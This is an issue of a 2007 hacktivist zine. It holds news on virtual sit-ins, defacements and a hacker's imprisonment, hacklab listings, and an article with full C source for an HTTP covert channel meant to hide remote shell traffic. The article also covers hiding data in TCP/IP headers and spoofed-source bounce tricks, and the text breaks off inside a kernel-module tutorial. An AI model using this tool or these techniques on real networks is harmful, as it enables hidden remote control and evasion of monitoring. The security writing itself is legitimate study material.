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Hack This Zine Issue 05
( http://disrespectcopyrights.net/images/anarchosquat.jpg )
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______________ _______ _/ |_ _/ |_| |__ ____ ____ _____/ |_
/ ___/ ____/ | \__ \\ __\ \ __\ | \_/ __ \ / \_/ __ \ __\
\___ < <_| | | // __ \| | | | | Y \ ___/ | | \ ___/| |
/____ >__ |____/(____ /__| |__| |___| /\___ > |___| /\___ >__|
\/ |__| \/ \/ \/ \/ \/
Electronic Civil Disobedience Journal
Published by Hackbloc.org
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anti-(C)opyright 2007
This zine is anti-copyright : you are encouraged to Reuse, Reword, and Reprint
everything in this zine as you please. This includes: printing your own copies
to distribute to friends and family, copying and pasting bits of text in your
own works, mirroring electronic versions to websites and file sharing services,
or anything else you could think of - without asking permission or apologizing!
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[ TABLE OF DISCONTENTS ]
NEWS / EVENTS
* time line of virtual sit-in / electronic civil disobedience actions
* free Jeremy Hammond! (done?)
* hacklabs in the USA
* remaining nine of the sagada eleven released from prison
TALKING TECH
* a small study on covert channels
* getting started with Linux kernel modules
* results of the 10.13-15.2006 'capture the flag' competition
* review and analysis of darknets and other alternative Internets
* the PE file format and it's dark side
THEORY AND ACTION
* capitalist monsters, RFID & internet tubes, an interview with Annalee Newitz
* hacking freight trains: adventure from SF to NYC for HOPE 6 part 1
* intro to the free shit project a online free living directory
* technologically enhanced protesting (T.E.P.)
HACKER DEFENSE BULLETIN
* boycott the EMI - mirror Sgt pet sounds - drop the lawsuit
* rm all narcs before they narc on you!
APPENDIX
* HackThisSite collective organizing guide
* Creditz
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Free Jeremy Hammond!
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"They are in there for us, we are out here for them."
On December 11th 2006 Jeremy Hammond founder of HackThisSite.org and member of
the HackBloc.org collective was sentenced to two years in federal prison. Hammond,
an anarchist, was trying to strike a blow against right wing counter protest group,
Protest Warrior." Hammond allegedly penetrated the servers stealing credit card
numbers which he planned to use to donate money to various non-profit groups.
Hammond was caught and arrested initially when a fellow hacker that he was
working with, known as archaios, informed the system administrator of protest
warrior that the action was taking place.
In his ruling the judge sentenced Hammond to two years in federal prison.
Additionaly, Hammond is not allowed to participate in HackThisSite.org,
HackBloc.org, Hacktivist.net, or Chicago area anarchist group related activities.
Flatline, from HackBloc.org was quoted as saying, "Whether or not you believe that
Jeremy's tactics in this situation were right, the real problem here is that we
are seeing a rise in the number of FBI informants in the anarchist and activist
community. Over the past year eco/environmental activists have been facing a green
scare similar to the red scare of the fifties, and now Jeremy being turned in by an
'anarchist hacker' who is now working for Protest Warrior, I mean, he's on the
payroll. As anarchists, it should be easy to see that a blow to one of us is a
blow to all of us. We need to have solidarity with each other and always be
mindful of security. Jeremy is a part of our family and we will be there for
him no matter what. We will do anything that we can to help him through this."
Silent Shadow, another close friend and current web master of HackThisSite.org
had the following to say, "I will neither confirm nor deny what actually
happened, but I will say that he will be missed, and definitely welcome back at
any time. I plan to personally keep the site up indefinitely, just for him."
"He wants to continue working on the zine that we release every several months,
including the one that is planned to be released later this month. He also wants
to continue writing for it while doing time."
UPDATE
As of January 3rd, Jeremy has turned himself in, he now carries out his sentence.
You can write to him at:
Jeremy Hammond #18729-424
FCI Greenville
PO Box 5000
Greenville Il 62246
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time line of virtual sit-in / electronic civil disobedience actions
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* OCTOBER 29Th, 2006: In response to a call to action to remember Brad and all
the comrades killed in the popular struggle to oust the bloody tyrant Ulises
Ruiz, to show solidarity with the teachers and protesters of Oaxaca, and to
attempt to interrupt the invasion of Oaxaca that Mexican President Vicente Fox
is beginning, join this electronic blockade of the websites for all of the
Mexican embassies and consulates in the United States and Canada.
http://www.thing.net/~rdom/ecd/oaxaca2
Dozens of solidarity actions at Mexican consulates happened in Atlanta, Austin,
Boston, Chicago, Houston, Kansas City, Los Angeles, New York City, Philadelphia,
Portland, San Diego, San Francisco, San Jose, Seattle, Miami, Tuscon, and
Washington DC.
Oaxaca solidarity email list: http://lists.riseup.net/www/info/oaxaca
* OCTOBER 3rd-4th, 2006: The borderlands Hacklab, Electronic Disturbance Theater
and Rising Tide North America call for a virtual sit-in against the websites of
the G8+5 and the Mexican government during the G8+5 meetings on October 3-4th,
2006 in Mexico.
* MAY 1st, 2006: The Electronic Disturbance Theater and the borderlands Hacklab
call for a virtual strike in solidarity with the May 1st General Strike /
Walkout / Boycott in the US and actions for Freedom of Movement taking place all
over Europe on May 1st, 2006. With this virtual strike, we will join the
millions marching in the US, Mexico and Europe in slowing down the economy by
slowing down the information systems. On this day without an immigrant, we will
also have a day without Lou Dobbs, Semsenbrenner and the Minutemen in
cyberspace.
Thanks to all 77,454 People a around the world who participated in shouting No
Illegal Borders in the May Day virtual sit-in! Minutemen S.O.S Forums go down on
May 1st During May Day Virtual Sit-In!
* MARCH 20th, 2006: BrigadaElektronica and others starts electronic civil
disobedience campaign against web servers belonging to the Philippine National
Police, the Malakanyang, the Office of the President, and the National College
of the Philippines in solidarity with the Sagada 11, a group of food not bombs
activists wrongfully detained and tortured as terrorists. The campaign included
a combination of floodnet scripts, defacements, disruption of online
communications, and more. So far, two of the Sagada 11 have been released.
* MAY 27th-29th, 2005: SWARM the Minutemen invites people from all over the
world who oppose racist violence to join the Electronic Disturbance Theater
action on May 27th, 28th and 29th, 2005 to engage in a virtual sit-in on the
Minutemen website during their "Unite to Fight" Summit. // SWARM the Minutemen
Invita gente desde todo el mundo quien estan contra la violencia racista a una
el accion de Electronic Disturbance Theatre en el 27, 28 y 29 de Mayo, 2005 para
un "virtual sit-in" el el sitio de web de los MinuteMen durante sus conferencia
de "Unate para Pelear".
* MAY 17th 2005: An Internet company will force one of its Web site clients to
stop encouraging harassment of the Minutemen project that cracks down on illegal
immigrants along the Arizona border. The Scottsdale-based Go Daddy Group said
the Swarmtheminuteman.com site, which has been on the Web for less than one
week, could face being shut down unless it complies.
http://www.tucsoncitizen.com/news/local/051705a4_minutemen
* AUGUST 29th - SEPTEMBER 1st 2004: The Electronic Disturbance Theater and
others staged a week of disruption during the 2004 Republican National
Convention in New York City, conducting sit-ins against Republican web sites and
flooding web sites and communication systems identified with conservative
causes. This received mixed reviews from the hacktivist community.
* OCTOBER 31st - NOVEMBER 2nd 2003: OPERATION DIGNA: Virtual sit-in action
against the Mexican government and the Supreme Court of the state of chihuahua
in support and solidarity with our daughters. 133,896 people participated in
this action
* DECEMBER 29, 1998: the Legions of the Underground (LoU) declared cyberwar
on Iraq and China with the intention of disrupting and disabling internet
infrastructure. On January 7, 1999, an international coalition of hackers
(including Cult of the Dead Cow, 2600 's staff, Phrack's staff, L0pht, and the
Chaos Computer Club) issued a joint statement ([5]) condemning the LoU's
declaration of war. The LoU responded by withdrawing its declaration.
* 1998: the modification of Indonesian web sites with appeals to "Free East
Timor" by Portuguese hackers.
* 1998: the Electronic Disturbance Theater conducted "virtual sit-ins" on the
Web sites of the Pentagon and the Mexican government to bring the world's
attention to the plight of Indian rights in the Mexican state of Chiapas.
* 1995: One of the earliest documented hacktivist events was the "Strano Network
sit-in," a strike action directed against French government computers in 1995.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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HACKLABS IN THE USA
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
from hacklabs.org :
"For years, months, days, we networks and communities of individuals have been
exchanging knowledge, designing worlds, experimenting with gizmos and devices.
We are the expression of a thousand thoughts, we are migrants across the City
and the Net; we are searching for a place where our commonalities and practices
can open up space-time discontinuities.
We want to hack reality, and we need a lab to reassemble its basic elements. In
a metropolis scared by unreal securities and too real fears, we yearn to give
birth to a site of full of images made flesh, of bytes resurrecting metal.
Our collective mind is replete with digital/analog technology,
info-communication, knowledge-sharing, meme-spreading, participation-catalysis,
and much much more.
The four cardinal points are no longer sufficient coordinates. As Mars is closer
to Earth than ever in history, there is no better time for a new reticular
constellation, for a new geometry of relations that can freely recompile
low-entropy bio ware, stunning and getting stunned by vivid special effects and
lively affects."
Reload, Hacklab Milano, Sept 14 2003
The goals of hacklabs, or community technology spaces, are to teach people about
and help develop free technology and independent media. Hacklabs traditionally
help build and repair computers from used or dumpstered parts, use open source
software, host presentations, workshops, and classes, and provide technology and
space to community activist groups.
Hacklabs are often held in squatted buildings, or have squatter friendly
tendencies. In the US, there are often hacklabs in infoshops or other community
activist spaces such as the Long Haul in Berkeley or ABC No Rio in NYC.
Common other projects that spring out of hacklabs or other community activist
spaces include:
* bike workshops: build and repair bikes out of spare / dumpstered parts,
distributing community bikes for critical mass, bike modifications / hacks
(tall bikes, choppers, bike carts, etc)
* food not bombs, free markets, dumpster diving collectives: food
drop offs/pickups, collaborative community meals, public food not bombs servings,
cooking food for protests/actions, etc
* independent media: publishing zines, newsletters, pamphlets, and other
propaganda. infoshops, mail order distribution, community libraries. digital
video projects, pirate radio, indymedia centers.
The hacklabs movement along with other linked social struggles, is trying to
create a world without borders where people and data can flow freely. Although
the US has a lot to catch up with politicizing the hacker movement and setting
up hacklabs, more and more people are starting to recognize how
privatized/government controlled technology threatens our lives, and how
creative and emancipatory use of free technology can help support progressive
activist projects, international solidarity, and build a free Internet and a
free society.
######### dai5ychain local network @ the flowershop in pilsen, Chicago #########
Dai5ychain is open to the public from 11am-6pm, Monday through Friday. 2159 W
21st Pl, Chicago IL 60608
Dai5ychain is a public-access computer lab and events platform located in
pilsen, Chicago, in a former flower shop. the Dai5chain project operates as a
platform for new media performance and screening events devised and programmed
in response to a unique network architecture. it shares a building with the
Busker project initiated and programmed by tamas kemenczy and nicholas o'brien.
The Daiscyhain project is developed and maintained by jake elliott, lynn hurley,
tamas kemenczy and others.
dai5ychain links: http://chicagolug.org/lists/listinfo/chicago-hacktavism
http://www.dai5ychain.net http://hackmeetingwiki.dai5ychain.net
Dai5ychain has been host to regular hacker activist gatherings, featuring
workshops and presentations on:
tor / tor hidden services, circuit bending, perl programming, the dyne:bolic
livecd, presenting evidence / geek aesthetic, hacking politics and the politics
of hacking, make your own lock picks, hacker "capture the flag" challenges,
hacking consumer music players, the Pirate Party and anti-copyright activism,
aerial kite photography, community wifi networking in Chicago, and more.
#################### sdhacklabs @ the voz alta in san diego ####################
At voz alta on the 3rd wed of the month! 1544 broadway in downtown san diego
from 8-10pm
The Hacklab is a diy space for HACKERS, ARTISTS, ACTIVISTS and MEDIA MAKERS to
get together, share, teach and learn. It's much like http://dorkbot.org or
http://barcamp.org , but with a focus on making technology accessible for people
traditionally excluded from techno culture like women and people of color.
Want to do a workshop? Have a new video you want to show or an idea for
collaboration? Have a tech question? Email sdhacklab [at] lists d0t riseup d0t
net.
Voz Alta is located at 1544 Broadway, on the corner of 16th and Broadway in
downtown San Diego. It's next door to Landlord Jim's bar and is one block south
of SD City College.
Learn more about the borderlands Hacklab: http://bang.calit2.net/sdhacklab/
######### tech user group @ the people's free space in Portland, Maine #########
The Technology User Group is an all-volunteer service group dedicated to free
computing and technology resources for all. Our goal is to foster an environment
where no member of the community is denied the computer resources or the
technology he or she seeks. By taking the initiative to film document and record
the world we live in we hope to take back the media from the corporations and
big business and put it in the hands of the people.
T.U.G. Initiative Group Meetings are held on the second Wednesday of every month
at 7pm 144 Cumberland Avenue (The People's Free Space).
more info: http://www.techusergroup.org/ http://www.peoplesfreespace.org/
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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remaining nine of the sagada eleven released from prison
By Sally
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
On December 21, 2006, the remaining 9 of the Sagada 11 were released from
Benguet prison in the Philippines. The Filipino punkers were arrested on
February 14, 2006, while hitch hiking to a Food Not Bombs gathering in the
Sagada Mountain Province. They were charged with being involved in a Maoist
armed raid that involved arson and multiple homicide. The charges were dropped
due to lack of evidence, underground sources indicate that there might have
been a settlement out of court. The prisoners were not compensated except with
plane tickets back to Manila.
Hacktivist around the globe were contacted last February to help get the word
out about the wrongful imprisonment and torture of the fellow Filipino punkers
and activist. The Filipino government does not allow for public protest so it
was determined that one of the many ways to get the word out to the masses
across the globe was through online actions. Specifically, key governmental and
military websites were taken down and replaced with pleas to help the prisoners.
In addition, an online petition to the government was utilized with more than
2000 signatures from around the world. Concurrently, there were sits-ins and
demonstrations at the Philippines embassies and consulates in Tokyo, Japan;
Berlin,Germany; Barcelona, Spain, Brighton, U.K; Wellington, New Zealand.
On May 30, 2006, 2 of the 9 Sagada 11 members were released based on a new law
regarding the imprisonment of minors
(http://bulatlat.com/news/6-17/6-17-freed.htm). This new law, Republic Act No.
9344, the Juvenile Justice and Welfare Act of 2006, took effect on May 22, and
exempts minors from criminal liability. Hackthiszine asked for an interview of
one of the freed prisoners, this involved sending questions in English and
having them translated to Tagalog and back. The interview was published in our
last zine (summer 2006) and is on the web at
http://kitaan.blogspot.com/2006/07/interview-with-ann.html.
The amazing work of all the hacktivist and activist across the globe sent ripple
effects to the Philippines. It let them know that they cannot brutalize their
own people without the world knowing. Friends of the Sagada prisoners mobilized
into action and it made a difference. Soon after laws were passed and prisoners
were released. Unfortunately, this does not erase the time lost and the torture
endured by the prisoners. Let this to motivate more of us into action to help
save people around the world from human rights violations.
For more back history on the plight of the Sagada 11 see:
HackThisZine #4 - Ammo for the info-warrior
manila.indymedia.org/?action=search&words=sagada
newsinfo.inquirer.net/inquirerheadlines/regions/view_article.php?article_id=39501
manila-infoshop.mahost.org/index.php?option=com_content&task=view&id=113&Itemid=2
a-manila.org/mod/columns/index.php
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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a small study on covert channels
by nomenumbra/[0x00SEC]
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[0x00] ToC
[0x00]ToC
[0x01]Introduction
[0x02]Abstract
[0x03]Protocol-level covert channels
[0x04]TCP/IP-level covert channels
[0x05]Greets and shouts
[0x01] Introduction
In this time of wire-tapping, paranoia and witch-hunts, every sane person would
like a bit of privacy. Some people will say "what is there to hide?", to this
i'd like to reply "what is there to see if there's nothing to hide?". Do you
trust the people spying on you? Tapping your phone, and monitoring your mail and
browsing behavior? Do you trust a government that dozen't trust you? Well I
don't, so with these words I give you this article, now read it ff.
[0x02] Abstract
Well, usually most papers on this subject will bore you to death with the
so-called prisoner's problem, I however .... will do exactly the same CD
The prisoner's problem involves two inmates, let us say Alex and Bob
(THE CREATIVITY!), who need to coordinate their escape attempt in notes to
each other. The catch however is in the fact that the warden monitors their
messages, and upon suspicious content will put them in solitary confinement.
This gives rise to the following criteria for covert channels:
[0]Plausibility (merge with legitimate traffic)
[1]Open usage (to participants)
and: (optionally)
[2]Message robustness (survive loss of data)
Point [0] is especially important, since traffic that is just encrypted can be
singled out easily (using eye's Radar tool for example), so we'll have to merge
with legitimate traffic.
An example of a covert channel could be the following sentence:
As you might know, Nobody in this country, And nobody outside the Republican
party, may or Could, in any way, Hope for circumstances which Indicate the fall
of Self righteous capitalism and blatant Materialism.
To make things more clear i've capitalized the characters that matter. I take
the first character of the first word, skip three, and take the first letter
again and repeat this process, the word ANARCHISM is formed. This is of course a
simple trick, but it illustrates the idea of covert channels pretty well.
When looking at covert channels, we can distinguish two major forms:
[0] Protocol-level covert channels
[1] TCP/IP-level covert channels
Protocol-level covert channels abuse properties of protocols while adhering to
the RFC standards, whilst TCP/IP-level covert channels abuse TCP/IP structures.
[0x03] Protocol-level covert channels
Ok, the simplest example possible in this field is a DNS based covert channel.
It can operate exactly like the simplistic method proposed in [0x02], take the
following DNS queries for example:
www.roadkillforhire.com
www.enigmaticvisions.org
www.supercheapdeals.com
www.imdb.com
www.stanford.edu
www.trickydickhicksachick.net
Taking the first character of the domain name, would read "resist". This method
is obviously fairly naive though, so let's move on.
So where would we hide our data then you'd ask? Well, the first possibility is
engineering a more obscure method, which is of course quite possible, however
another, and better, possibility lies in using a more versatile and constantly
used protocol allowing for better traffic-blending.
To illustrate this we'll use the HTTP protocol.
The HTTP protocol has a myriad of places to hide it's data, including but not
limited to:
[0] HTTP GET file request
[1] HTTP referrer
[2] HTTP cookie
[3] HTTP content data
[4] HTTP authentication
So let us design a HTTP covert channel. Note that this is kind of a
"mirror-scenario", where usually a client initiates a connection with a
listening server, we can't disguise our covert channel, assuming it the data
sending site resides in a hostile environment, as a HTTP server, since it
*WOULD* ring bells if incoming HTTP traffic is spotted going to the ftp-only
file server XD.
So we'd have the following situation:
HTTP_COVERT_CLIENT
[0]Reside in passive mode
HTTP_COVERT_SERVER
[1]Connect to client and send encoded handshake
HTTP_COVERT_CLIENT
[2]Verify handshake (if not a handshake, drop connection) and send
acknowledgment
HTTP_COVERT_SERVER
[3]Verify acknowledgment (if not an ack. behave like a normal HTTPd by
responding with a 404 error to everything XD) and initiate covert session.
(start sending data)
HTTP_COVERT_CLIENT
[4]Upon receiving data, send response back in covert form
Note that in this example the server is the client and the client is the server
(from the attacker's point of view).
Step [0], residing in passive mode, can take many forms. The most obvious being
listening on port 80 (which the "server" should do too, but only return 404/403
errors) but other methods are possible too, like behaving like a non-listening
bindshell. Which would involve setting up a sniffer for incoming local data
(which doesn't require root/administrator privs) and initiating a connection
upon spotting a magic pattern (a certain arrangement of TCP flags/IP headers of
a certain login/pass combo on the ftp server running on the same host).
Now, on the notion of where to hide our data. In my implementation I chose to
let the client (being the responder, the server) hide it's data in a fake cookie
or fake params, these being the most opaque vectors from our list. The data
will be encapsulated in a fake GET request to a fake (non-existent PHP file),
for example:
GET /lol.php HTTP/1.0
Cookie: lol=ENCODED_DATA
or:
GET /lol.php?val=ENCODED_DATA HTTP/1.0
The server (the initiating side) will respond like a HTTPd would, disguising
it's data as the output of the obscure php script in a plausible way, for
example:
HTTP/1.1 200 OK
Date: Tue, 12 Dec 2006 18:17:58 GMT
Server: Apache/2.2.3 (Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d
mod_autoindex_color PHP/5.1.6
X-Powered-By: PHP/5.1.6
Content-Length: <length here>
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd\">
<html>
<head>
<title>XZ script!</title>
</head>
<body>
DATA HERE
</body>
</html>
Where the random string would be an encoded/encrypted command/piece of secret
data. Now, the following implementation is just a simple app (for the win32
platform) to show you how things can be done. Of course, there are some things
that need to be added, such as a small encryption plugin (which would be nothing
more than adding the aforementioned handshake with a key to the app, which is
fairly trivial) and a bit more dynamic content generation.
Note that communication functionality is extremely limited and basic, the
initiating party (attacker) types something, then waits until the receiving
party responds, etc,etc. This makes it suited for TCP bound shells for example
and other remote control applications that don't want to
jump out in traffic.
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>
#include <windows.h>
int Translate(char a,char b)
{
char c[2];
memset(c,0,2);
sprintf(c,"%c%c",a,b);
return strtol(c,NULL,16);
}
// urlencode function
char* UrlEncode(char* Input)
{
char* Encoded = (char*)malloc(strlen(Input) * 2);
int i;
memset(Encoded,0x00,strlen(Input) * 2);
for(i = 0; i < strlen(Input); i++)
{
if ( ((Input[i] > 47) && (Input[i] < 58)) || ((Input[i] > 64) && (Input[i] < 91)) || ((Input[i] > 96) && (Input[i] < 123)) )
sprintf(Encoded,"%s%c",Encoded,Input[i]);
else
sprintf(Encoded,"%s%c%02x",Encoded,'%',Input[i]);
}
return Encoded;
}
// urldecode function
char* UrlDecode(char* Input)
{
char* Decoded = (char*)malloc(strlen(Input) * 2);
int i;
memset(Decoded,0x00,strlen(Input) * 2);
for(i = 0; i < strlen(Input); i++)
{
if(Input[i] == '%')
{
sprintf(Decoded,"%s%c",Decoded,Translate(Input[i+1],Input[i+2]));
i += 2;
}
else
sprintf(Decoded,"%s%c",Decoded,Input[i]);
}
return Decoded;
}
int Connect2Target(char *ip,int RemotePort) {
struct sockaddr_in target;
int s = socket(AF_INET,SOCK_STREAM,0);
target.sin_family = AF_INET;
target.sin_port = htons (RemotePort);
target.sin_addr.s_addr = inet_addr(ip);
if (connect(s, (SOCKADDR*)&target, sizeof(target)) == SOCKET_ERROR)
// if can't connect...
{
WSACleanup ();
return -1;
}
return s;
}
int PassiveWait(int ListenPort) {
int s2 = -1;
struct sockaddr addr2;
int s = socket(AF_INET,SOCK_STREAM,0);
if(s == INVALID_SOCKET)
return -1;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons (ListenPort);
addr.sin_addr.s_addr = htonl (INADDR_ANY);
if (bind(s, (LPSOCKADDR)&addr, sizeof(addr)) == SOCKET_ERROR)
// bind the socket
return -1;
if (listen(s,3)==SOCKET_ERROR) // listen
return -1;
s2 = accept (s, &addr2, 0); // accept connections
return s2;
}
int SendCovertClientData(int s,char* dat)
{
char* cgi = (char*)malloc(strlen(dat)*2);
sprintf(cgi,"/xz.php?zf=%s",UrlEncode(dat)); // todo: generate dynamic script
// name
char* data = (char*)malloc(strlen(cgi)+200);
sprintf(data,"GET %s HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\n\r\n",cgi);
int x = send(s,data,strlen(data),0);
free(cgi);
free(data);
return x;
}
int SendCovertServerData(int s,char* dat)
{
/*
TODO: [*] format time better, like Day(3 char), Day(2 digit) Month Year
Hour:Min:Sec GMT
[*] generate dynamic title in html
*/
time_t tp;
time(&tp);
char* data = (char*)malloc(strlen(dat)+sizeof(strlen(dat)+168)+300);
// TODO: obscure data!
sprintf(data,"HTTP/1.1 200 OK\nDate: %s GMT\nServer: Apache/2.2.3 (Win32) DAV/2 PHP/5.1.6\nX-Powered-By: PHP/5.1.6\nContent-Length: %d\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/html4/loose.dtd\"><html><head><title>XZ script!</title></head><body>%s</body></html>\n\r\n",asctime(gmtime(&tp)),strlen(dat)+168,dat);
int x = send(s,data,strlen(data),0);
free(data);
return x;
}
int ExtractDataFromServer(char* dat)
{
char* pos = strstr(dat,"</title></head><body>");
if(!pos)
{
printf("[-]Couldn't extract data...\n");
return -1;
}
pos += 21;
char* pos2 = strstr(dat,"</body></html>\n\r\n");
if(!pos2)
{
printf("[-]Couldn't extract data...\n");
return -1;
}
pos[pos2 - pos] = 0x00;
printf("=>%s\n",pos);
}
int ExtractDataFromClient(char* dat)
{
char* pos = strstr(dat,"/xz.php?zf=");
if(!pos)
{
printf("[-]Couldn't extract data...\n");
return -1;
}
pos += 11;
char* pos2 = strstr(dat," HTTP/1.1");
if(!pos2)
{
printf("[-]Couldn't extract data...\n");
return -1;
}
pos[pos2 - pos] = 0x00;
printf("=>%s\n",UrlDecode(pos));
}
void Usage()
{
printf("..::Mimic Beta::..\n [Basic HTTP covert channel]\nBy Nomenumbra/[0x00SEC]\nUsage: mimic <mode (0/1, 0 = listener, 1 = connection initiater> <port> <target ip (only for 1)>\n");
exit(-1);
}
int main(int argc, char *argv[])
{
if(argc < 3)
Usage();
int server = atoi(argv[1]);
if ((server) && (argc < 4))
Usage();
int port = atoi(argv[2]);
int s = -1;
char buffer[4096];
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0),&wsadata);
if(server) // server (attacker controlled)
s = Connect2Target(argv[3],port);
else
s = PassiveWait(port);
while(s)
{
memset(buffer,0,4096);
if(server)
{
printf("usr@covert-http~#: ");
fgets(buffer,4096,stdin);
if(strncmp(buffer,".exitcovertchannel",17) == 0)
{
closesocket(s);
WSACleanup();
exit(0);
}
SendCovertServerData(s,buffer);
memset(buffer,0,4096);
if(recv(s,buffer,4096,0))
{
ExtractDataFromClient(buffer);
}
}
else
{
if(recv(s,buffer,4096,0))
{
ExtractDataFromServer(buffer);
memset(buffer,0,4096);
fgets(buffer,4096,stdin);
buffer[strlen(buffer)-1] = 0x00; // cut carriage return
if(strncmp(buffer,".exitcovertchannel",17) == 0)
{
closesocket(s);
WSACleanup();
exit(0);
}
SendCovertClientData(s,buffer);
}
}
}
closesocket(s);
WSACleanup();
return 0;
}
Of course this implementation is far from perfect and could be improved in many
ways. First of course what i've noted with TODO:'s and secondly it could be
implemented as HTTPS, which would provide a decent layer of encryption as well,
without being singled out as anomalous.
[0x04] TCP/IP-level covert channels
Another great place to hide your data is a little deeper, inside the TCP/IP
header. By hiding it here you will bypass most content filters and also a large
am mount of monitoring systems.
First, let us take a look at the TCP and IP headers.
The IP header:
0 4 8 16 19 24 32
------------------------------------------------------------------------
| VERS | HLEN | Service Type | Total Length |
------------------------------------------------------------------------
| Identification | Flags | Fragment Offset |
------------------------------------------------------------------------
| Source IP Address |
------------------------------------------------------------------------
| Destination IP Address |
------------------------------------------------------------------------
| IP Options | Padding |
------------------------------------------------------------------------
| Data |
------------------------------------------------------------------------
The TCP header:
0 4 8 16 19 24 32
-------------------------------------------------------------------------
| Source Port | Destination Port |
-------------------------------------------------------------------------
| Sequence Number |
-------------------------------------------------------------------------
| Acknowledgment Number |
-------------------------------------------------------------------------
| HLEN | Reserved | Code Bits | Window |
-------------------------------------------------------------------------
| Checksum | Urgent Pointer |
-------------------------------------------------------------------------
| Options | Padding |
-------------------------------------------------------------------------
| Data |
-------------------------------------------------------------------------
As we can see, there are several fields that don't really matter in which we
could hide our data:
[0]The IP-header identification field
[1]The IP-header source address*
[2]The TCP-header initial sequence number
[3]The TCP-header acknowledgment number
[4]The TCP-header urgent pointer**
Now, there are several things we need to keep in mind. For example, using [1]
will require a slight adaption of values, for example, to hide some bytes, we
could do the following:
Take ,for example, the network-byte order representation of 127.0.0.1:
0x0100007f, we could use this as the base source address and add our bytes. So
0x54534554 (84.69.83.84) would decode to TEST. Although this approach is fairly
naive, it gives you a general idea of how stuff like this can be done. Do note
that all values need to be between 0x00 and 0xFF
Also note that in order to use [4], we'd need to set the URG flag, else a used
URG pointer would be a bit fucked up and probably ring bells all over the place
XD.
In the cases of [0],[2] and [3], we can freely hax around with a full DWORD of
space ;)
A nice trick to employ in combination with [4], is to spoof the source address
of the packet as the b0x we want to send our data to, and the destination addr
as the b0x we want to bounce our packet off.
Take the following setup for example:
[EVIL_HOST] [WORKSTATION] [TARGET_B0X]
10.0.0.1 10.0.0.3 10.0.0.6
So if EVIL_HOST would want to send a packet to TARGET_B0X, he could create a
packet with 10.0.0.6 as the source address and 10.0.0.3 as the destination
address, thereby effectively sending the packet to WORKSTATION, which (upon
seeing the ACK flag) send it's data back to TARGET_B0X (believing it was the
originator). The data could be hidden in the sequence number for example, and
the original packet from EVIL_HOST to WORKSTATION could contain it's data encoded
in the sequence number.
Although implementing this is fairly simple (just dividing your data into
separate pieces so they fit in our covert channel (when using only initial
sequence number for example, we have one DWORD of data, which is 4 bytes, so you
should parse them into this DWORD)), it does require knowledge raw sockets (of
course). If you're not familiar with raw sockets, read Mixter's (mixter.void.ru)
article on raw socket coding.
[0x05] Greets and shouts
Greets and shouts go to Nullsec, the whole .aware/xzziroz community, The
HackThisSite collective, RRLF, The entire SmashTheStack crew, PullThePlug ,
BinaryShadow Organization, #dutch crew, Vx.netlux folks/Undernet VX crew,
blacksecurity and all "true" hackers out there.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
getting started with linux kernel modules
by evoltech [hb/sf]
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Introduction:
I have wanted to get a solid understanding of the Linux kernel and be able to
contribute to its development for a number of years now. It wasn't until
recently that I had enough of the basics to be able to comprehend more then a
paragraph in any of the security LKM text files of phrack or other publications
that discuss Linux kernel.
In this article I describe the requirements to get started with kernel
development, the resources available to the beginning kernel developer, and a
overview of the methods used by most security LKM's.
Requirements:
To get started with kernel development you will need to be able to write in C,
understand the basics of Linux systems administration, and have a lot of time on
your hands. I ran into a member of the CDC at the SF 2600 meeting who was
working on impressive LKM and asked him how he got started. He told me that he
had spent the last 6 months sitting in the CDC house smoking weed and writing
code. I am not advocating smoking weed here, I am just pointing out the amount
of time and focus that it takes to make any serious progress with something as
terse as kernel development. As far as systems administration skills go, you
should understand the basics of how to operate a Linux system, compile a kernel
by hand, and be able to use kernel modules. In the C department, it will really
help to have some experience working on large modular code bases like apache or
proftpd. You should also be generally familiar with the complexity of gcc and
the steps involved in compiling and linking a application.
Resources:
The two most valuable resources I found for kernel development were xen [5] and
cscope [6]. Xen is virtualization software that allows you to run a instance of
Linux on top of the current system. It is like virtually installing a whole
other computer inside your computer. As you are writing kernel modules you will
find that your mistakes may completely lock your running instance and or
completely trash your file system. By developing on a virtual instance you can
significantly increase system stability and decrease reboot time when locking up
the virtual machine.
While tracing through kernel code you may end up cursing the time it takes to
find certain symbols in the code... cscope to the rescue. Cscope will parse
your code base and store all the symbols in a database creating a convenient
resource for quickly navigating through the kernel source. To build a cscope
database of the Linux kernel and jump to the file that defines the
sys_call_table symbol you should run the following commands from the kernel
source directory:
cscope -R
vim -t sys_call_table
The kernel debugging utilities that I began to look into were gdb [9], kdb [7]
and kgdb [8]. Kdb and kgdb both enable the full suite of debugging capabilities
available to gdb by patching the source of the kernel. I spent a lot of time
trying to get these debugging patches to also work with the xen patches to no
